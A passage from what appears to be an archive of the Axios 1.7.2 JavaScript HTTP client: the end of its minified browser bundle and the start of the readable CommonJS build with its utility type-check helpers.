ce.forEach(this,(function(r,n){null!=r&&!1!==r&&(t[n]=e&&ce.isArray(r)?r.join(", "):r)})),t}},{key:Symbol.iterator,value:function(){return Object.entries(this.toJSON())[Symbol.iterator]()}},{key:"toString",value:function(){return Object.entries(this.toJSON()).map((function(e){var t=m(e,2);return t[0]+": "+t[1]})).join("\n")}},{key:Symbol.toStringTag,get:function(){return"AxiosHeaders"}}],[{key:"from",value:function(e){return e instanceof this?e:new this(e)}},{key:"concat",value:function(e){for(var t=new this(e),r=arguments.length,n=new Array(r>1?r-1:0),o=1;o<r;o++)n[o-1]=arguments[o];return n.forEach((function(e){return t.set(e)})),t}},{key:"accessor",value:function(e){var t=(this[Ue]=this[Ue]={accessors:{}}).accessors,r=this.prototype;function n(e){var n=De(e);t[n]||(!function(e,t){var r=ce.toCamelCase(" "+t);["get","set","has"].forEach((function(n){Object.defineProperty(e,n+r,{value:function(e,r,o){return this[n].call(this,t,e,r,o)},configurable:!0})}))}(r,e),t[n]=!0)}return ce.isArray(e)?e.forEach(n):n(e),this}}]),r}();qe.accessor(["Content-Type","Content-Length","Accept","Accept-Encoding","User-Agent","Authorization"]),ce.reduceDescriptors(qe.prototype,(function(e,t){var r=e.value,n=t[0].toUpperCase()+t.slice(1);return{get:function(){return r},set:function(e){this[n]=e}}})),ce.freezeMethods(qe);var ze=qe;function Me(e,t){var r=this||Ce,n=t||r,o=ze.from(n.headers),i=n.data;return ce.forEach(e,(function(e){i=e.call(r,i,o.normalize(),t?t.status:void 0)})),o.normalize(),i}function He(e){return!(!e||!e.__CANCEL__)}function Je(e,t,r){fe.call(this,null==e?"canceled":e,fe.ERR_CANCELED,t,r),this.name="CanceledError"}function We(e,t,r){var n=r.config.validateStatus;r.status&&n&&!n(r.status)?t(new fe("Request failed with status code "+r.status,[fe.ERR_BAD_REQUEST,fe.ERR_BAD_RESPONSE][Math.floor(r.status/100)-4],r.config,r.request,r)):e(r)}function Ge(e,t){e=e||10;var r,n=new Array(e),o=new Array(e),i=0,a=0;return t=void 0!==t?t:1e3,function(s){var u=Date.now(),c=o[a];r||(r=u),n[i]=s,o[i]=u;for(var f=a,l=0;f!==i;)l+=n[f++],f%=e;if((i=(i+1)%e)===a&&(a=(a+1)%e),!(u-r<t)){var h=c&&u-c;return h?Math.round(1e3*l/h):void 0}}}function Ke(e,t){var r=0,n=1e3/t,o=null;return function(){var t=arguments,i=!0===this,a=Date.now();if(i||a-r>n)return o&&(clearTimeout(o),o=null),r=a,e.apply(null,arguments);o||(o=setTimeout((function(){return o=null,r=Date.now(),e.apply(null,t)}),n-(a-r)))}}ce.inherits(Je,fe,{__CANCEL__:!0});var Ve=function(e,t){var r=arguments.length>2&&void 0!==arguments[2]?arguments[2]:3,n=0,o=Ge(50,250);return Ke((function(r){var i=r.loaded,a=r.lengthComputable?r.total:void 0,s=i-n,u=o(s);n=i;var c={loaded:i,total:a,progress:a?i/a:void 0,bytes:s,rate:u||void 0,estimated:u&&a&&i<=a?(a-i)/u:void 0,event:r,lengthComputable:null!=a};c[t?"download":"upload"]=!0,e(c)}),r)},Xe=Le.hasStandardBrowserEnv?function(){var e,t=/(msie|trident)/i.test(navigator.userAgent),r=document.createElement("a");function n(e){var n=e;return t&&(r.setAttribute("href",n),n=r.href),r.setAttribute("href",n),{href:r.href,protocol:r.protocol?r.protocol.replace(/:$/,""):"",host:r.host,search:r.search?r.search.replace(/^\?/,""):"",hash:r.hash?r.hash.replace(/^#/,""):"",hostname:r.hostname,port:r.port,pathname:"/"===r.pathname.charAt(0)?r.pathname:"/"+r.pathname}}return e=n(window.location.href),function(t){var r=ce.isString(t)?n(t):t;return r.protocol===e.protocol&&r.host===e.host}}():function(){return!0},$e=Le.hasStandardBrowserEnv?{write:function(e,t,r,n,o,i){var a=[e+"="+encodeURIComponent(t)];ce.isNumber(r)&&a.push("expires="+new Date(r).toGMTString()),ce.isString(n)&&a.push("path="+n),ce.isString(o)&&a.push("domain="+o),!0===i&&a.push("secure"),document.cookie=a.join("; ")},read:function(e){var t=document.cookie.match(new RegExp("(^|;\\s*)("+e+")=([^;]*)"));return t?decodeURIComponent(t[3]):null},remove:function(e){this.write(e,"",Date.now()-864e5)}}:{write:function(){},read:function(){return null},remove:function(){}};function Ye(e,t){return e&&!/^([a-z][a-z\d+\-.]*:)?\/\//i.test(t)?function(e,t){return t?e.replace(/\/?\/$/,"")+"/"+t.replace(/^\/+/,""):e}(e,t):t}var Qe=function(e){return e instanceof ze?s({},e):e};function Ze(e,t){t=t||{};var r={};function n(e,t,r){return ce.isPlainObject(e)&&ce.isPlainObject(t)?ce.merge.call({caseless:r},e,t):ce.isPlainObject(t)?ce.merge({},t):ce.isArray(t)?t.slice():t}function o(e,t,r){return ce.isUndefined(t)?ce.isUndefined(e)?void 0:n(void 0,e,r):n(e,t,r)}function i(e,t){if(!ce.isUndefined(t))return n(void 0,t)}function a(e,t){return ce.isUndefined(t)?ce.isUndefined(e)?void 0:n(void 0,e):n(void 0,t)}function s(r,o,i){return i in t?n(r,o):i in e?n(void 0,r):void 0}var u={url:i,method:i,data:i,baseURL:a,transformRequest:a,transformResponse:a,paramsSerializer:a,timeout:a,timeoutMessage:a,withCredentials:a,withXSRFToken:a,adapter:a,responseType:a,xsrfCookieName:a,xsrfHeaderName:a,onUploadProgress:a,onDownloadProgress:a,decompress:a,maxContentLength:a,maxBodyLength:a,beforeRedirect:a,transport:a,httpAgent:a,httpsAgent:a,cancelToken:a,socketPath:a,responseEncoding:a,validateStatus:s,headers:function(e,t){return o(Qe(e),Qe(t),!0)}};return ce.forEach(Object.keys(Object.assign({},e,t)),(function(n){var i=u[n]||o,a=i(e[n],t[n],n);ce.isUndefined(a)&&i!==s||(r[n]=a)})),r}var et,tt,rt,nt,ot=function(e){var t,r,n=Ze({},e),o=n.data,i=n.withXSRFToken,a=n.xsrfHeaderName,s=n.xsrfCookieName,u=n.headers,c=n.auth;if(n.headers=u=ze.from(u),n.url=Oe(Ye(n.baseURL,n.url),e.params,e.paramsSerializer),c&&u.set("Authorization","Basic "+btoa((c.username||"")+":"+(c.password?unescape(encodeURIComponent(c.password)):""))),ce.isFormData(o))if(Le.hasStandardBrowserEnv||Le.hasStandardBrowserWebWorkerEnv)u.setContentType(void 0);else if(!1!==(t=u.getContentType())){var f=t?t.split(";").map((function(e){return e.trim()})).filter(Boolean):[],l=g(r=f)||w(r)||E(r)||S(),h=l[0],p=l.slice(1);u.setContentType([h||"multipart/form-data"].concat(b(p)).join("; "))}if(Le.hasStandardBrowserEnv&&(i&&ce.isFunction(i)&&(i=i(n)),i||!1!==i&&Xe(n.url))){var d=a&&s&&$e.read(s);d&&u.set(a,d)}return n},it="undefined"!=typeof XMLHttpRequest&&function(e){return new Promise((function(t,r){var n,o=ot(e),i=o.data,a=ze.from(o.headers).normalize(),s=o.responseType;function u(){o.cancelToken&&o.cancelToken.unsubscribe(n),o.signal&&o.signal.removeEventListener("abort",n)}var c=new XMLHttpRequest;function f(){if(c){var n=ze.from("getAllResponseHeaders"in c&&c.getAllResponseHeaders());We((function(e){t(e),u()}),(function(e){r(e),u()}),{data:s&&"text"!==s&&"json"!==s?c.response:c.responseText,status:c.status,statusText:c.statusText,headers:n,config:e,request:c}),c=null}}c.open(o.method.toUpperCase(),o.url,!0),c.timeout=o.timeout,"onloadend"in c?c.onloadend=f:c.onreadystatechange=function(){c&&4===c.readyState&&(0!==c.status||c.responseURL&&0===c.responseURL.indexOf("file:"))&&setTimeout(f)},c.onabort=function(){c&&(r(new fe("Request aborted",fe.ECONNABORTED,o,c)),c=null)},c.onerror=function(){r(new fe("Network Error",fe.ERR_NETWORK,o,c)),c=null},c.ontimeout=function(){var e=o.timeout?"timeout of "+o.timeout+"ms exceeded":"timeout exceeded",t=o.transitional||Re;o.timeoutErrorMessage&&(e=o.timeoutErrorMessage),r(new fe(e,t.clarifyTimeoutError?fe.ETIMEDOUT:fe.ECONNABORTED,o,c)),c=null},void 0===i&&a.setContentType(null),"setRequestHeader"in c&&ce.forEach(a.toJSON(),(function(e,t){c.setRequestHeader(t,e)})),ce.isUndefined(o.withCredentials)||(c.withCredentials=!!o.withCredentials),s&&"json"!==s&&(c.responseType=o.responseType),"function"==typeof o.onDownloadProgress&&c.addEventListener("progress",Ve(o.onDownloadProgress,!0)),"function"==typeof o.onUploadProgress&&c.upload&&c.upload.addEventListener("progress",Ve(o.onUploadProgress)),(o.cancelToken||o.signal)&&(n=function(t){c&&(r(!t||t.type?new Je(null,e,c):t),c.abort(),c=null)},o.cancelToken&&o.cancelToken.subscribe(n),o.signal&&(o.signal.aborted?n():o.signal.addEventListener("abort",n)));var l,h,p=(l=o.url,(h=/^([-+\w]{1,25})(:?\/\/|:)/.exec(l))&&h[1]||"");p&&-1===Le.protocols.indexOf(p)?r(new fe("Unsupported protocol "+p+":",fe.ERR_BAD_REQUEST,e)):c.send(i||null)}))},at=function(e,t){var r,n=new AbortController,o=function(e){if(!r){r=!0,a();var t=e instanceof Error?e:this.reason;n.abort(t instanceof fe?t:new Je(t instanceof Error?t.message:t))}},i=t&&setTimeout((function(){o(new fe("timeout ".concat(t," of ms exceeded"),fe.ETIMEDOUT))}),t),a=function(){e&&(i&&clearTimeout(i),i=null,e.forEach((function(e){e&&(e.removeEventListener?e.removeEventListener("abort",o):e.unsubscribe(o))})),e=null)};e.forEach((function(e){return e&&e.addEventListener&&e.addEventListener("abort",o)}));var s=n.signal;return s.unsubscribe=a,[s,function(){i&&clearTimeout(i),i=null}]},st=u().mark((function e(t,r){var n,o,i;return u().wrap((function(e){for(;;)switch(e.prev=e.next){case 0:if(n=t.byteLength,r&&!(n<r)){e.next=5;break}return e.next=4,t;case 4:return e.abrupt("return");case 5:o=0;case 6:if(!(o<n)){e.next=13;break}return i=o+r,e.next=10,t.slice(o,i);case 10:o=i,e.next=6;break;case 13:case"end":return e.stop()}}),e)})),ut=function(){var t,o=(t=u().mark((function e(t,o,a){var s,c,f,l,h,p;return u().wrap((function(e){for(;;)switch(e.prev=e.next){case 0:s=!1,c=!1,e.prev=2,l=n(t);case 4:return e.next=6,i(l.next());case 6:if(!(s=!(h=e.sent).done)){e.next=27;break}if(p=h.value,e.t0=r,e.t1=n,e.t2=st,!ArrayBuffer.isView(p)){e.next=15;break}e.t3=p,e.next=18;break;case 15:return e.next=17,i(a(String(p)));case 17:e.t3=e.sent;case 18:return e.t4=e.t3,e.t5=o,e.t6=(0,e.t2)(e.t4,e.t5),e.t7=(0,e.t1)(e.t6),e.t8=i,e.delegateYield((0,e.t0)(e.t7,e.t8),"t9",24);case 24:s=!1,e.next=4;break;case 27:e.next=33;break;case 29:e.prev=29,e.t10=e.catch(2),c=!0,f=e.t10;case 33:if(e.prev=33,e.prev=34,!s||null==l.return){e.next=38;break}return e.next=38,i(l.return());case 38:if(e.prev=38,!c){e.next=41;break}throw f;case 41:return e.finish(38);case 42:return e.finish(33);case 43:case"end":return e.stop()}}),e,null,[[2,29,33,43],[34,,38,42]])})),function(){return new e(t.apply(this,arguments))});return function(e,t,r){return o.apply(this,arguments)}}(),ct=function(e,t,r,n,o){var i=ut(e,t,o),a=0;return new ReadableStream({type:"bytes",pull:function(e){return h(u().mark((function t(){var o,s,c,f;return u().wrap((function(t){for(;;)switch(t.prev=t.next){case 0:return t.next=2,i.next();case 2:if(o=t.sent,s=o.done,c=o.value,!s){t.next=9;break}return e.close(),n(),t.abrupt("return");case 9:f=c.byteLength,r&&r(a+=f),e.enqueue(new Uint8Array(c));case 12:case"end":return t.stop()}}),t)})))()},cancel:function(e){return n(e),i.return()}},{highWaterMark:2})},ft=function(e,t){var r=null!=e;return function(n){return setTimeout((function(){return t({lengthComputable:r,total:e,loaded:n})}))}},lt="function"==typeof fetch&&"function"==typeof Request&&"function"==typeof Response,ht=lt&&"function"==typeof ReadableStream,pt=lt&&("function"==typeof TextEncoder?(et=new TextEncoder,function(e){return et.encode(e)}):function(){var e=h(u().mark((function e(t){return u().wrap((function(e){for(;;)switch(e.prev=e.next){case 0:return e.t0=Uint8Array,e.next=3,new Response(t).arrayBuffer();case 3:return e.t1=e.sent,e.abrupt("return",new e.t0(e.t1));case 5:case"end":return e.stop()}}),e)})));return function(t){return e.apply(this,arguments)}}()),dt=ht&&(tt=!1,rt=new Request(Le.origin,{body:new ReadableStream,method:"POST",get duplex(){return tt=!0,"half"}}).headers.has("Content-Type"),tt&&!rt),yt=ht&&!!function(){try{return ce.isReadableStream(new Response("").body)}catch(e){}}(),vt={stream:yt&&function(e){return e.body}};lt&&(nt=new Response,["text","arrayBuffer","blob","formData","stream"].forEach((function(e){!vt[e]&&(vt[e]=ce.isFunction(nt[e])?function(t){return t[e]()}:function(t,r){throw new fe("Response type '".concat(e,"' is not supported"),fe.ERR_NOT_SUPPORT,r)})})));var mt=function(){var e=h(u().mark((function e(t){return u().wrap((function(e){for(;;)switch(e.prev=e.next){case 0:if(null!=t){e.next=2;break}return e.abrupt("return",0);case 2:if(!ce.isBlob(t)){e.next=4;break}return e.abrupt("return",t.size);case 4:if(!ce.isSpecCompliantForm(t)){e.next=8;break}return e.next=7,new Request(t).arrayBuffer();case 7:case 14:return e.abrupt("return",e.sent.byteLength);case 8:if(!ce.isArrayBufferView(t)){e.next=10;break}return e.abrupt("return",t.byteLength);case 10:if(ce.isURLSearchParams(t)&&(t+=""),!ce.isString(t)){e.next=15;break}return e.next=14,pt(t);case 15:case"end":return e.stop()}}),e)})));return function(t){return e.apply(this,arguments)}}(),bt=function(){var e=h(u().mark((function e(t,r){var n;return u().wrap((function(e){for(;;)switch(e.prev=e.next){case 0:return n=ce.toFiniteNumber(t.getContentLength()),e.abrupt("return",null==n?mt(r):n);case 2:case"end":return e.stop()}}),e)})));return function(t,r){return e.apply(this,arguments)}}(),gt=lt&&function(){var e=h(u().mark((function e(t){var r,n,o,i,a,c,f,l,h,p,d,y,v,b,g,w,E,O,S,x,R,T,j,k,A,P,L,N,_;return u().wrap((function(e){for(;;)switch(e.prev=e.next){case 0:if(r=ot(t),n=r.url,o=r.method,i=r.data,a=r.signal,c=r.cancelToken,f=r.timeout,l=r.onDownloadProgress,h=r.onUploadProgress,p=r.responseType,d=r.headers,y=r.withCredentials,v=void 0===y?"same-origin":y,b=r.fetchOptions,p=p?(p+"").toLowerCase():"text",g=a||c||f?at([a,c],f):[],w=m(g,2),E=w[0],O=w[1],R=function(){!S&&setTimeout((function(){E&&E.unsubscribe()})),S=!0},e.prev=4,e.t0=h&&dt&&"get"!==o&&"head"!==o,!e.t0){e.next=11;break}return e.next=9,bt(d,i);case 9:e.t1=T=e.sent,e.t0=0!==e.t1;case 11:if(!e.t0){e.next=15;break}j=new Request(n,{method:"POST",body:i,duplex:"half"}),ce.isFormData(i)&&(k=j.headers.get("content-type"))&&d.setContentType(k),j.body&&(i=ct(j.body,65536,ft(T,Ve(h)),null,pt));case 15:return ce.isString(v)||(v=v?"cors":"omit"),x=new Request(n,s(s({},b),{},{signal:E,method:o.toUpperCase(),headers:d.normalize().toJSON(),body:i,duplex:"half",withCredentials:v})),e.next=19,fetch(x);case 19:return A=e.sent,P=yt&&("stream"===p||"response"===p),yt&&(l||P)&&(L={},["status","statusText","headers"].forEach((function(e){L[e]=A[e]})),N=ce.toFiniteNumber(A.headers.get("content-length")),A=new Response(ct(A.body,65536,l&&ft(N,Ve(l,!0)),P&&R,pt),L)),p=p||"text",e.next=25,vt[ce.findKey(vt,p)||"text"](A,t);case 25:return _=e.sent,!P&&R(),O&&O(),e.next=30,new Promise((function(e,r){We(e,r,{data:_,headers:ze.from(A.headers),status:A.status,statusText:A.statusText,config:t,request:x})}));case 30:return e.abrupt("return",e.sent);case 33:if(e.prev=33,e.t2=e.catch(4),R(),!e.t2||"TypeError"!==e.t2.name||!/fetch/i.test(e.t2.message)){e.next=38;break}throw Object.assign(new fe("Network Error",fe.ERR_NETWORK,t,x),{cause:e.t2.cause||e.t2});case 38:throw fe.from(e.t2,e.t2&&e.t2.code,t,x);case 39:case"end":return e.stop()}}),e,null,[[4,33]])})));return function(t){return e.apply(this,arguments)}}(),wt={http:null,xhr:it,fetch:gt};ce.forEach(wt,(function(e,t){if(e){try{Object.defineProperty(e,"name",{value:t})}catch(e){}Object.defineProperty(e,"adapterName",{value:t})}}));var Et=function(e){return"- ".concat(e)},Ot=function(e){return ce.isFunction(e)||null===e||!1===e},St=function(e){for(var t,r,n=(e=ce.isArray(e)?e:[e]).length,o={},i=0;i<n;i++){var a=void 0;if(r=t=e[i],!Ot(t)&&void 0===(r=wt[(a=String(t)).toLowerCase()]))throw new fe("Unknown adapter '".concat(a,"'"));if(r)break;o[a||"#"+i]=r}if(!r){var s=Object.entries(o).map((function(e){var t=m(e,2),r=t[0],n=t[1];return"adapter ".concat(r," ")+(!1===n?"is not supported by the environment":"is not available in the build")}));throw new fe("There is no suitable adapter to dispatch the request "+(n?s.length>1?"since :\n"+s.map(Et).join("\n"):" "+Et(s[0]):"as no adapter specified"),"ERR_NOT_SUPPORT")}return r};function xt(e){if(e.cancelToken&&e.cancelToken.throwIfRequested(),e.signal&&e.signal.aborted)throw new Je(null,e)}function Rt(e){return xt(e),e.headers=ze.from(e.headers),e.data=Me.call(e,e.transformRequest),-1!==["post","put","patch"].indexOf(e.method)&&e.headers.setContentType("application/x-www-form-urlencoded",!1),St(e.adapter||Ce.adapter)(e).then((function(t){return xt(e),t.data=Me.call(e,e.transformResponse,t),t.headers=ze.from(t.headers),t}),(function(t){return He(t)||(xt(e),t&&t.response&&(t.response.data=Me.call(e,e.transformResponse,t.response),t.response.headers=ze.from(t.response.headers))),Promise.reject(t)}))}var Tt="1.7.2",jt={};["object","boolean","number","function","string","symbol"].forEach((function(e,t){jt[e]=function(r){return f(r)===e||"a"+(t<1?"n ":" ")+e}}));var kt={};jt.transitional=function(e,t,r){function n(e,t){return"[Axios v1.7.2] Transitional option '"+e+"'"+t+(r?". "+r:"")}return function(r,o,i){if(!1===e)throw new fe(n(o," has been removed"+(t?" in "+t:"")),fe.ERR_DEPRECATED);return t&&!kt[o]&&(kt[o]=!0,console.warn(n(o," has been deprecated since v"+t+" and will be removed in the near future"))),!e||e(r,o,i)}};var At={assertOptions:function(e,t,r){if("object"!==f(e))throw new fe("options must be an object",fe.ERR_BAD_OPTION_VALUE);for(var n=Object.keys(e),o=n.length;o-- >0;){var i=n[o],a=t[i];if(a){var s=e[i],u=void 0===s||a(s,i,e);if(!0!==u)throw new fe("option "+i+" must be "+u,fe.ERR_BAD_OPTION_VALUE)}else if(!0!==r)throw new fe("Unknown option "+i,fe.ERR_BAD_OPTION)}},validators:jt},Pt=At.validators,Lt=function(){function e(t){p(this,e),this.defaults=t,this.interceptors={request:new xe,response:new xe}}var t;return y(e,[{key:"request",value:(t=h(u().mark((function e(t,r){var n,o;return u().wrap((function(e){for(;;)switch(e.prev=e.next){case 0:return e.prev=0,e.next=3,this._request(t,r);case 3:return e.abrupt("return",e.sent);case 6:if(e.prev=6,e.t0=e.catch(0),e.t0 instanceof Error){Error.captureStackTrace?Error.captureStackTrace(n={}):n=new Error,o=n.stack?n.stack.replace(/^.+\n/,""):"";try{e.t0.stack?o&&!String(e.t0.stack).endsWith(o.replace(/^.+\n.+\n/,""))&&(e.t0.stack+="\n"+o):e.t0.stack=o}catch(e){}}throw e.t0;case 10:case"end":return e.stop()}}),e,this,[[0,6]])}))),function(e,r){return t.apply(this,arguments)})},{key:"_request",value:function(e,t){"string"==typeof e?(t=t||{}).url=e:t=e||{};var r=t=Ze(this.defaults,t),n=r.transitional,o=r.paramsSerializer,i=r.headers;void 0!==n&&At.assertOptions(n,{silentJSONParsing:Pt.transitional(Pt.boolean),forcedJSONParsing:Pt.transitional(Pt.boolean),clarifyTimeoutError:Pt.transitional(Pt.boolean)},!1),null!=o&&(ce.isFunction(o)?t.paramsSerializer={serialize:o}:At.assertOptions(o,{encode:Pt.function,serialize:Pt.function},!0)),t.method=(t.method||this.defaults.method||"get").toLowerCase();var a=i&&ce.merge(i.common,i[t.method]);i&&ce.forEach(["delete","get","head","post","put","patch","common"],(function(e){delete i[e]})),t.headers=ze.concat(a,i);var s=[],u=!0;this.interceptors.request.forEach((function(e){"function"==typeof e.runWhen&&!1===e.runWhen(t)||(u=u&&e.synchronous,s.unshift(e.fulfilled,e.rejected))}));var c,f=[];this.interceptors.response.forEach((function(e){f.push(e.fulfilled,e.rejected)}));var l,h=0;if(!u){var p=[Rt.bind(this),void 0];for(p.unshift.apply(p,s),p.push.apply(p,f),l=p.length,c=Promise.resolve(t);h<l;)c=c.then(p[h++],p[h++]);return c}l=s.length;var d=t;for(h=0;h<l;){var y=s[h++],v=s[h++];try{d=y(d)}catch(e){v.call(this,e);break}}try{c=Rt.call(this,d)}catch(e){return Promise.reject(e)}for(h=0,l=f.length;h<l;)c=c.then(f[h++],f[h++]);return c}},{key:"getUri",value:function(e){return Oe(Ye((e=Ze(this.defaults,e)).baseURL,e.url),e.params,e.paramsSerializer)}}]),e}();ce.forEach(["delete","get","head","options"],(function(e){Lt.prototype[e]=function(t,r){return this.request(Ze(r||{},{method:e,url:t,data:(r||{}).data}))}})),ce.forEach(["post","put","patch"],(function(e){function t(t){return function(r,n,o){return this.request(Ze(o||{},{method:e,headers:t?{"Content-Type":"multipart/form-data"}:{},url:r,data:n}))}}Lt.prototype[e]=t(),Lt.prototype[e+"Form"]=t(!0)}));var Nt=Lt,_t=function(){function e(t){if(p(this,e),"function"!=typeof t)throw new TypeError("executor must be a function.");var r;this.promise=new Promise((function(e){r=e}));var n=this;this.promise.then((function(e){if(n._listeners){for(var t=n._listeners.length;t-- >0;)n._listeners[t](e);n._listeners=null}})),this.promise.then=function(e){var t,r=new Promise((function(e){n.subscribe(e),t=e})).then(e);return r.cancel=function(){n.unsubscribe(t)},r},t((function(e,t,o){n.reason||(n.reason=new Je(e,t,o),r(n.reason))}))}return y(e,[{key:"throwIfRequested",value:function(){if(this.reason)throw this.reason}},{key:"subscribe",value:function(e){this.reason?e(this.reason):this._listeners?this._listeners.push(e):this._listeners=[e]}},{key:"unsubscribe",value:function(e){if(this._listeners){var t=this._listeners.indexOf(e);-1!==t&&this._listeners.splice(t,1)}}}],[{key:"source",value:function(){var t;return{token:new e((function(e){t=e})),cancel:t}}}]),e}();var Ct={Continue:100,SwitchingProtocols:101,Processing:102,EarlyHints:103,Ok:200,Created:201,Accepted:202,NonAuthoritativeInformation:203,NoContent:204,ResetContent:205,PartialContent:206,MultiStatus:207,AlreadyReported:208,ImUsed:226,MultipleChoices:300,MovedPermanently:301,Found:302,SeeOther:303,NotModified:304,UseProxy:305,Unused:306,TemporaryRedirect:307,PermanentRedirect:308,BadRequest:400,Unauthorized:401,PaymentRequired:402,Forbidden:403,NotFound:404,MethodNotAllowed:405,NotAcceptable:406,ProxyAuthenticationRequired:407,RequestTimeout:408,Conflict:409,Gone:410,LengthRequired:411,PreconditionFailed:412,PayloadTooLarge:413,UriTooLong:414,UnsupportedMediaType:415,RangeNotSatisfiable:416,ExpectationFailed:417,ImATeapot:418,MisdirectedRequest:421,UnprocessableEntity:422,Locked:423,FailedDependency:424,TooEarly:425,UpgradeRequired:426,PreconditionRequired:428,TooManyRequests:429,RequestHeaderFieldsTooLarge:431,UnavailableForLegalReasons:451,InternalServerError:500,NotImplemented:501,BadGateway:502,ServiceUnavailable:503,GatewayTimeout:504,HttpVersionNotSupported:505,VariantAlsoNegotiates:506,InsufficientStorage:507,LoopDetected:508,NotExtended:510,NetworkAuthenticationRequired:511};Object.entries(Ct).forEach((function(e){var t=m(e,2),r=t[0],n=t[1];Ct[n]=r}));var Ft=Ct;var Ut=function e(t){var r=new Nt(t),n=x(Nt.prototype.request,r);return ce.extend(n,Nt.prototype,r,{allOwnKeys:!0}),ce.extend(n,r,null,{allOwnKeys:!0}),n.create=function(r){return e(Ze(t,r))},n}(Ce);return Ut.Axios=Nt,Ut.CanceledError=Je,Ut.CancelToken=_t,Ut.isCancel=He,Ut.VERSION=Tt,Ut.toFormData=me,Ut.AxiosError=fe,Ut.Cancel=Ut.CanceledError,Ut.all=function(e){return Promise.all(e)},Ut.spread=function(e){return function(t){return e.apply(null,t)}},Ut.isAxiosError=function(e){return ce.isObject(e)&&!0===e.isAxiosError},Ut.mergeConfig=Ze,Ut.AxiosHeaders=ze,Ut.formToJSON=function(e){return Ne(ce.isHTMLForm(e)?new FormData(e):e)},Ut.getAdapter=St,Ut.HttpStatusCode=Ft,Ut.default=Ut,Ut}));
//# sourceMappingURL=axios.min.js.map
browser/axios.cjs000064400000271243151677271550010104 0ustar00// Axios v1.7.2 Copyright (c) 2024 Matt Zabriskie and contributors
'use strict';

function bind(fn, thisArg) {
  return function wrap() {
    return fn.apply(thisArg, arguments);
  };
}

// utils is a library of generic helper functions non-specific to axios

const {toString} = Object.prototype;
const {getPrototypeOf} = Object;

const kindOf = (cache => thing => {
    const str = toString.call(thing);
    return cache[str] || (cache[str] = str.slice(8, -1).toLowerCase());
})(Object.create(null));

const kindOfTest = (type) => {
  type = type.toLowerCase();
  return (thing) => kindOf(thing) === type
};

const typeOfTest = type => thing => typeof thing === type;

/**
 * Determine if a value is an Array
 *
 * @param {Object} val The value to test
 *
 * @returns {boolean} True if value is an Array, otherwise false
 */
const {isArray} = Array;

/**
 * Determine if a value is undefined
 *
 * @param {*} val The value to test
 *
 * @returns {boolean} True if the value is undefined, otherwise false
 */
const isUndefined = typeOfTest('undefined');

/**
 * Determine if a value is a Buffer
 *
 * @param {*} val The value to test
 *
 * @returns {boolean} True if value is a Buffer, otherwise false
 */
function isBuffer(val) {
  return val !== null && !isUndefined(val) && val.constructor !== null && !isUndefined(val.constructor)
    && isFunction(val.constructor.isBuffer) && val.constructor.isBuffer(val);
}

/**
 * Determine if a value is an ArrayBuffer
 *
 * @param {*} val The value to test
 *
 * @returns {boolean} True if value is an ArrayBuffer, otherwise false
 */
const isArrayBuffer = kindOfTest('ArrayBuffer');


/**
 * Determine if a value is a view on an ArrayBuffer
 *
 * @param {*} val The value to test
 *
 * @returns {boolean} True if value is a view on an ArrayBuffer, otherwise false
 */
function isArrayBufferView(val) {
  let result;
  if ((typeof ArrayBuffer !== 'undefined') && (ArrayBuffer.isView)) {
    result = ArrayBuffer.isView(val);
  } else {
    result = (val) && (val.buffer) && (isArrayBuffer(val.buffer));
  }
  return result;
}

/**
 * Determine if a value is a String
 *
 * @param {*} val The value to test
 *
 * @returns {boolean} True if value is a String, otherwise false
 */
const isString = typeOfTest('string');

/**
 * Determine if a value is a Function
 *
 * @param {*} val The value to test
 * @returns {boolean} True if value is a Function, otherwise false
 */
const isFunction = typeOfTest('function');

/**
 * Determine if a value is a Number
 *
 * @param {*} val The value to test
 *
 * @returns {boolean} True if value is a Number, otherwise false
 */
const isNumber = typeOfTest('number');

/**
 * Determine if a value is an Object
 *
 * @param {*} thing The value to test
 *
 * @returns {boolean} True if value is an Object, otherwise false
 */
const isObject = (thing) => thing !== null && typeof thing === 'object';

/**
 * Determine if a value is a Boolean
 *
 * @param {*} thing The value to test
 * @returns {boolean} True if value is a Boolean, otherwise false
 */
const isBoolean = thing => thing === true || thing === false;

/**
 * Determine if a value is a plain Object
 *
 * @param {*} val The value to test
 *
 * @returns {boolean} True if value is a plain Object, otherwise false
 */
const isPlainObject = (val) => {
  if (kindOf(val) !== 'object') {
    return false;
  }

  const prototype = getPrototypeOf(val);
  return (prototype === null || prototype === Object.prototype || Object.getPrototypeOf(prototype) === null) && !(Symbol.toStringTag in val) && !(Symbol.iterator in val);
};

/**
 * Determine if a value is a Date
 *
 * @param {*} val The value to test
 *
 * @returns {boolean} True if value is a Date, otherwise false
 */
const isDate = kindOfTest('Date');

/**
 * Determine if a value is a File
 *
 * @param {*} val The value to test
 *
 * @returns {boolean} True if value is a File, otherwise false
 */
const isFile = kindOfTest('File');

/**
 * Determine if a value is a Blob
 *
 * @param {*} val The value to test
 *
 * @returns {boolean} True if value is a Blob, otherwise false
 */
const isBlob = kindOfTest('Blob');

/**
 * Determine if a value is a FileList
 *
 * @param {*} val The value to test
 *
 * @returns {boolean} True if value is a File, otherwise false
 */
const isFileList = kindOfTest('FileList');

/**
 * Determine if a value is a Stream
 *
 * @param {*} val The value to test
 *
 * @returns {boolean} True if value is a Stream, otherwise false
 */
const isStream = (val) => isObject(val) && isFunction(val.pipe);

/**
 * Determine if a value is a FormData
 *
 * @param {*} thing The value to test
 *
 * @returns {boolean} True if value is an FormData, otherwise false
 */
const isFormData = (thing) => {
  let kind;
  return thing && (
    (typeof FormData === 'function' && thing instanceof FormData) || (
      isFunction(thing.append) && (
        (kind = kindOf(thing)) === 'formdata' ||
        // detect form-data instance
        (kind === 'object' && isFunction(thing.toString) && thing.toString() === '[object FormData]')
      )
    )
  )
};

/**
 * Determine if a value is a URLSearchParams object
 *
 * @param {*} val The value to test
 *
 * @returns {boolean} True if value is a URLSearchParams object, otherwise false
 */
const isURLSearchParams = kindOfTest('URLSearchParams');

const [isReadableStream, isRequest, isResponse, isHeaders] = ['ReadableStream', 'Request', 'Response', 'Headers'].map(kindOfTest);

/**
 * Trim excess whitespace off the beginning and end of a string
 *
 * @param {String} str The String to trim
 *
 * @returns {String} The String freed of excess whitespace
 */
const trim = (str) => str.trim ?
  str.trim() : str.replace(/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g, '');

/**
 * Iterate over an Array or an Object invoking a function for each item.
 *
 * If `obj` is an Array callback will be called passing
 * the value, index, and complete array for each item.
 *
 * If 'obj' is an Object callback will be called passing
 * the value, key, and complete object for each property.
 *
 * @param {Object|Array} obj The object to iterate
 * @param {Function} fn The callback to invoke for each item
 *
 * @param {Boolean} [allOwnKeys = false]
